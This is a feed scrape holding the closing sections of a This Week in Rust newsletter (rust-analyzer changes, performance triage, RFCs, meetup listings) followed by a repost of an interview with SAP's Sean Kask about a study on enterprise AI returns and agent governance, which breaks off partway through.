<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22771">ask for disclosure in AI contributions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22734">add fixes for array length for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22741">add parens in transformed dyn type in ref type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22736">avoid panic in merge imports on trailing path separator</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22654">change some things for <code>#[doc = macro!()]</code> expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22770">clamp cttz const-eval result to type width</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22751">correctly handled cfg'ed tail expr, take 2</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22749">crash on code actions when an unresolved module is present</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22707">crash when computing diagnostics with MIR and error types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22744">don't complete default in default impl</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22283">early late classification of lifetimes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22583">fix <code>render_const_using_debug_impl</code> constructing outdated std layouts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22735">fix proc macros <code>TokenStream::from_str()</code> for doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22464">hide private fields on hover depending on context</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22753">make lsp-server <code>Response</code> type closer aligned to JSON-RPC</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22535">pretty assoc const when trait in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22747">reimplement <code>crate_supports_no_std</code> syntactic heuristic</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22773">resolve non-plain paths in blocks correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22683">support Cargo 1.97.0 lockfile path setting</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22405">hir-ty: walk container exprs for <code>unused_must_use</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22768">fix onEnter erroneously deleting/interpreting <code>$foo</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22726">suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22777">treat library files as truly client immutable</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22534">turn <code>BlockLoc</code> into a tracked struct, take 3</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week many new optimizations landed, making this a very good week for performance.
The only real regression was a fix for a miscompile that will likely be re-landed in the future.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;end=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;absolute=false&amp;stat=instructions%3Au">3659db0d..5503df87</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.4%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.9%</td>
<td>[0.1%, 2.5%]</td>
<td>25</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, -0.2%]</td>
<td>195</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.4%</td>
<td>[-92.1%, -0.1%]</td>
<td>174</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, 0.4%]</td>
<td>198</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups
36 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/212da2d63f1edf2ab22293547a99f0fbf8cb68a8/triage/2026/2026-07-13.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named <code>Fn</code> trait parameters</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159179">enable <code>unreachable_cfg_select_predicates</code> lint as part of <code>unused</code> lint group</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156906">Stabilize <code>dyn Allocator</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157226">Partially stabilize <code>box_vec_non_null</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1015">Enable <code>-Zpolonius=next</code> on nightly</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1014">Enable <code>-Znext-solver</code> on nightly by default for testing</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1012">Stabilizing the state of the debuginfo test suite</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3983">bf16 primitive type</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-15 - 2026-08-12 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv/events/">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315676843/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-12 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, MA, IN | <a href="https://www.meetup.com/rust-pune/events/">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group/events/">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
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<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
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<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
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<p>Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/159039#issuecomment-4931084997">workingjubilee on Rust github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1786">Theemathas</a> for the suggestion!</p>
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<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



